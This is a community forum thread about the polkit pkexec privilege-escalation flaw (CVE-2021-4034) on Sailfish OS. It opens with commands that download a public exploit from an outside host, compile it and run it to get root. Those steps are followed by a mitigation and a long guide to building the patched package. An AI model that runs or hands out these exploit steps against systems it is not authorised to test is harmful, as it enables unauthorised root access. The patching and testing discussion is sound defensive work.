Polkit root exploit on Sailfish (CVE-2021-4034)

Install packages:

pkcon install gcc make

As non-root user:

curl https://haxx.in/files/blasty-vs-pkexec.c -o blasty-vs-pkexec.c
cc -o blasty-vs-pkexec blasty-vs-pkexec.c
./blasty-vs-pkexec
# now you're root
whoami

Mitigation (short term):

chmod -s /usr/bin/pkexec

Clean up:

pkcon remove --autoremove gcc make
rm blasty-vs-pkexec blasty-vs-pkexec.c
4 Likes

Already patched yesterday in SailfishOS polkit repository, see

There’s even a backport for the 4.4 version to come, see

Now, I’ve no idea when 4.4 will actually be out ; )

6 Likes

IF you are on an older version and want to compile the fix yourself, here’s one way to do it.

If you have access to a build environment (OBS, SDK, others) you probably already know how to. This is for compiling on the device itself.

(If you like you can replace the calls to devel-su with the pwnkit exploit just for shits and giggles.)

Set up some build environment and create an rpmbuild config file

mkdir -p $HOME/build/SOURCES

cat << EOM > $HOME/.rpmmacros
%_topdir %(echo $HOME)/build/rpmbuild
%_builddir  %(echo $HOME)/build/rpmbuild/BUILD
%_buildrootdir %(echo $HOME)/build/rpmbuild/BUILDROOT
EOM

Get the current polkit sources

pkcon download  $HOME/build/SOURCES polkit

The pkcon command should now ask you whether you want the binary or the source package downloaded. Choose the source package. You should get a file ending in .src.rpm.

Unpack the sources

pushd  $HOME/build/SOURCES
rpm2cpio polkit*src.rpm | cpio -id

You should now get a .tar.gz file, a .spec and a lot ot .patch files. (If you don’t have the cpio command, install busybox-symlinks-cpio.)

Add the patch file for the fix

curl -L -o Local-Privilege-Escalation-in-polkit-s-pkexec-CVE-20.patch https://raw.githubusercontent.com/sailfishos/polkit/c2cda16696da571f6cc10002ff39e1fdcc7a7a22/rpm/patches/debian/Local-Privilege-Escalation-in-polkit-s-pkexec-CVE-20.patch

Edit the .spec file

include the patch

Use you favorite text editor to edit polkit.spec.

As the end of the section with the PatchXX lines, add another for the fix patch. in this example I use Patch37:

    Patch35:    patches/0003-Support-for-annotation-identity-group-check.patch
    Patch36:    patches/0004-Fix-build-with-systemd-v233.patch
    # ^^^^^^^^^^^^^^^ this is the last PatchXX: line
    Patch37:    Local-Privilege-Escalation-in-polkit-s-pkexec-CVE-20.patch
    # ^^^^^^^^^^^^^^^ this is new
    Requires:   dbus
    Requires(post): /sbin/ldconfig
    Requires(postun): /sbin/ldconfig

remove patch paths:

The .spec file expects a different layout for the location of the package source than the .src.rpm delivers. Therefore we must edit all the lines starting with Patch and remote any path information that is there:

    Patch5:     patches/0.112/08_deprecate_racy_APIs.patch
    Patch6:     patches/0.112/cve-2013-4288.patch
    Patch7:     patches/0.113/Port-internals-non-deprecated-PolkitProcess-API-wher.patch
    Patch8:     patches/0.113/pkexec-Work-around-systemd-injecting-broken-XDG_RUNT.patch
    Patch9:     patches/0.113/03_PolkitAgentSession-fix-race-between-child-and-io-wat.patch
    Patch10:    patches/0.113/polkitd-Fix-problem-with-removing-non-existent-sourc.patch
    Patch11:    patches/0.113/PolkitSystemBusName-Add-public-API-to-retrieve-Unix-.patch
    # ^^^^^^^^^^^^^^^ this is the original

    Patch5:     08_deprecate_racy_APIs.patch
    Patch6:     cve-2013-4288.patch
    Patch7:     Port-internals-non-deprecated-PolkitProcess-API-wher.patch
    Patch8:     pkexec-Work-around-systemd-injecting-broken-XDG_RUNT.patch
    Patch9:     03_PolkitAgentSession-fix-race-between-child-and-io-wat.patch
    Patch10:    polkitd-Fix-problem-with-removing-non-existent-sourc.patch
    Patch11:    PolkitSystemBusName-Add-public-API-to-retrieve-Unix-.patch
    # ^^^^^^^^^^^^^^^ we edit to look like this

bump the version

Find the Version: line and edit it:

    Version:    0.105+git5
    # ^^^^^^^^^^ original
    Version:    0.105+git5.1
    # ^^^^^^^^^^ lets add a .1 to the tag

Install build requirements

 # install build packages
 devel-su pkcon install rpm-build gcc make automake autoconf

 # install polkit dependencies
 devel-su pkcon install  --allow-reinstall  glib2-devel systemd-devel   expat-devel   pam-devel   intltool   libtool   gobject-introspection   gobject-introspection-devel

NB make note of all the packages it installs. You want to uninstall them after building

Finally, build!

WARNING WARNING WARNING

DO NOT RUN THE rpmbuild COMMAND AS root!
DO NOT RUN THE rpmbuild COMMAND AS root!
DO NOT RUN THE rpmbuild COMMAND AS root!

END WARNING

 [ $UID -gt 0 ] && rpmbuild -bb pokit.spec

I lied. Reminder: Do not run the rpmbuild command as root.

Now you can spend some time looking at build process line noise. The process should finish with something like:

Wrote: /home/nemo/devel/rpmbuild/RPMS/armv7hl/polkit-0.105+git5-1.4.2.jolla.armv7hl.rpm
Wrote: /home/nemo/devel/rpmbuild/RPMS/armv7hl/polkit-devel-0.105+git5-1.4.2.jolla.armv7hl.rpm
Wrote: /home/nemo/devel/rpmbuild/RPMS/armv7hl/polkit-debuginfo-0.105+git5-1.4.2.jolla.armv7hl.rpm

The first of which is your new package you can install.
If you ran rpmbuild as root, your system may now be missing critical files.

Clean up again

 devel-su pkcon remove rpm-build gcc make automake autoconf glib2-devel systemd-devel   expat-devel   pam-devel   intltool   libtool   gobject-introspection   gobject-introspection-devel

Plus pkcon remove any additional packages you noted above. On my system these were:

 gettext producing multi-lingual messages gettext-devel python-giscanner

You can also delete the build stuff if you like:

rm -rf $HOME/build/{SOURCES,BUILD,BUILDROOT}
rm $HOME/.rpmmacros

Installing the original Jolla version

I something goes wrong after installing your self-built version, you should be able to get back to the original version by doing

devel-su pkcon install --allow-downgrade polkit

It’s probably a good idea to have the original package available before trying any of this, so

pkcon download  $HOME polkit

So that’s it. Simple, eh?

12 Likes

Hi. This exploit cannot be used to escape from Sailjail, right?

1 Like

Now that an official fix has been released for EA users, do I need to revert this short term mitigation?

At least the update went smoothly with this mitigation still in place.

The concept of polkit is to allow unprivileged processes to speak to privileged ones, so SUID permission does make sense. However, I don’t know how Sailfish uses polkit and cannot say if it’s an absolute requirement.

To enable SUID just use a + like so: chmod +s /usr/bin/pkexec.

Maybe you want to test as described in OP to ensure the fixes are actually in and do work as expected.